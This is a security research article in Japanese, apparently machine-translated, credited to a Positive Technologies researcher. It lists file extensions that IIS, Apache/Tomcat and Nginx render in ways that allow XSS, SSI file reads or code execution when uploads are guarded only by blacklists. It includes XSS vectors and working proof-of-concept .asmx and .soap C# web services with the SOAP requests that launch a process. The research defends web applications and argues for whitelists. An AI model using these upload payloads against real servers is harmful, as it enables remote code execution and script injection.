
多くの場合、Webアプリケーションのセキュリティを分析する際に、サーバーにファイルをアップロードする必要があります。これは、アカウントの写真、テキストドキュメントなどです。 多くの人が使用したファイル拡張子があり、サーバーへのダウンロードを禁止する必要がある理由を知っています(たとえば、PHPと共にapache Webサーバーを使用する場合、ユーザーから拡張子「.php」のファイルをダウンロードしない方がよいでしょう)。 ただし、Webサーバーによって認識が異なる、あまり知られていない形式がまだいくつか残っているように思えました。
ファイルのダウンロードを担当するコードを作成する場合、Webアプリケーション開発者は、WhiteList(および特定の拡張子を持つファイルのみをダウンロードできます)またはBlackList(およびダウンロードしていないファイルをダウンロードできます)のいずれかで、ダウンロードしたファイルの拡張子の確認に頼ることができますリストに記載されています)。 2番目のオプションを引き続き使用すると、多くの場合、脆弱性(XSSまたはRCEなど)が発生する可能性があります。
原則として、プログラマーはBlackListの既知の明白な拡張機能を作成します。 この記事では、最も一般的なファイルの種類は考慮されません。
PoCのデモには、次のペイロードが使用されました。
- テストに使用される基本的なXSSベクトル(基本ベクトル):
<script>alert(1337)</script>
- XMLを使用したXSSベクトル(XMLベースのベクトル):
<a:script xmlns:a="http://www.w3.org/1999/xhtml">alert(1337)</a:script>
次に、この短い研究の結果を示します。
IIS
既定では、IISは以下にリストされているファイルをcontent-type:text / htmlでレンダリングします。
基本ベクトルを使用できるようにする拡張機能:
- .cer
- .hxt
- .htm

したがって、XSSベクトルをダウンロードファイルに埋め込むことができます。 ファイルにアクセスすると、ブラウザはjavascriptを正常に実行します。
IISは、XSSがXMLベクトルを介して実行されることを可能にするコンテンツタイプを持つ拡張機能の次のグループを提供します。
XMLベースのベクターを使用できるようにする拡張機能:
- .dtd
- .mno
- .vml
- .xsl
- .xht
- .svg
- .xml
- .xsd
- .xsf
- .svgz
- .xslt
- .wsdl
- .xhtml

IISはデフォルトでSSIをサポートしていますが、セキュリティ上の理由からexecセクションは許可されていません。 標準構成では、コマンドを任意に実行することはできませんが、ローカルファイルを読み取ることは可能です。 以下は、IISでSSIディレクティブの使用を許可する拡張機能です。
SSIを操作するための拡張機能:
- .stm
- .shtm
- .shtml

SSIの使用の詳細については、@ ldionmarcilのツイートを参照してください。
追加:
任意のコードの実行につながる可能性のある、さらに2つの興味深い拡張子(.asmxおよび.soap)もあります。 これは私の同僚であるYuri Aleinov(@YuryAleinov)と共同で発見されました。
ASMX拡張
1.拡張子が「.asmx」のファイルをダウンロードできる場合、これにより任意のコードが実行される可能性があります。 たとえば、次の内容のファイルを取得してサーバーにアップロードします。
<%@ WebService Language="C#" Class="MyClass" %> using System.Web.Services; using System; using System.Diagnostics; [WebService(Namespace="")] public class MyClass : WebService { [WebMethod] public string Pwn_Function() { Process.Start("calc.exe"); return "PWNED"; } }

2.次に、ダウンロードに成功したファイルに次のPOSTリクエストを送信します。
POST /1.asmx HTTP/1.1 Host: localhost:44300 Content-Type: application/soap+xml; charset=utf-8 Content-Length: 287 <?xml version="1.0" encoding="utf-8"?> <soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope"> <soap12:Body> <Pwn_Function/> </soap12:Body> </soap12:Envelope>
3.その結果、IISはプロセス「calc.exe」を開始します

石鹸の延長:
1.拡張子「.soap」でダウンロードされるファイルの内容:
<%@ WebService Language="C#" Class="MyClass" %> using System.Web.Services; using System; public class MyClass : MarshalByRefObject { public MyClass() { System.Diagnostics.Process.Start("calc.exe"); } }
2. SOAPリクエスト:
POST /1.soap HTTP/1.1 Host: localhost:4430 Content-Length: 283 Content-Type: text/xml; charset=utf-8 SOAPAction: "/" <?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <MyFunction /> </soap:Body> </soap:Envelope>

Apache(httpdまたはTomcat)
基本ベクトルを使用できるようにする拡張機能:
- .shtml
- .html.deまたは.html.xxx(xxx-任意の文字)*
XMLベースのベクターを使用できる拡張機能:
- .rdf
- .xht
- .xml
- .xsl
- .svg
- .xhtml
- .svgz
*-.htmlの後のファイル名が.xxxに続く場合(xxxは任意の文字)、ApacheはContent-Type text / htmlのファイルを返します。 xxxの代わりに、たとえば、de、en、ruなどがある場合、Webサーバーは、応答に対応する値を持つContent-languageヘッダーも追加します。
追加:
ApacheとTomcatの異なる拡張子を持つ多数のファイルがContent-typeヘッダーなしで返されます。これにより、XSS攻撃が可能になります。 多くの場合、ブラウザはこのページの処理方法を決定します。 この質問については、 この記事で詳しく説明しています 。 そのため、拡張子が.xblのファイルは、Firefoxブラウザーによってxmlとして処理されます(応答にContent-Typeヘッダーが含まれていない場合)。したがって、このブラウザーでXMLベースのベクターを使用してXSSを利用することができます。
Nginx
基本ベクトルを使用できるようにする拡張機能:
- .htm
XMLベースのベクターを使用できる拡張機能:
- .svg
- .xml
- .svgz
おわりに
さまざまな拡張子を持つWebサーバーの相互作用を分析した結果、ファイル形式が見つかり、その読み込みが脆弱性の悪用につながる可能性がありました。 そのため、特定のファイルのダウンロードにより、攻撃者はXSSやRCEなどの脆弱性を悪用する可能性があります。
この調査は、ブラックリストの使用が開発されたWebアプリケーションのセキュリティに悪影響を与える可能性があることをさらに確認するのに役立ちます。 したがって、ダウンロードしたファイルの拡張子をチェックするホワイトリストを作成することをお勧めします。
Posted by Mikhail Klyuchnikov、ポジティブテクノロジーズ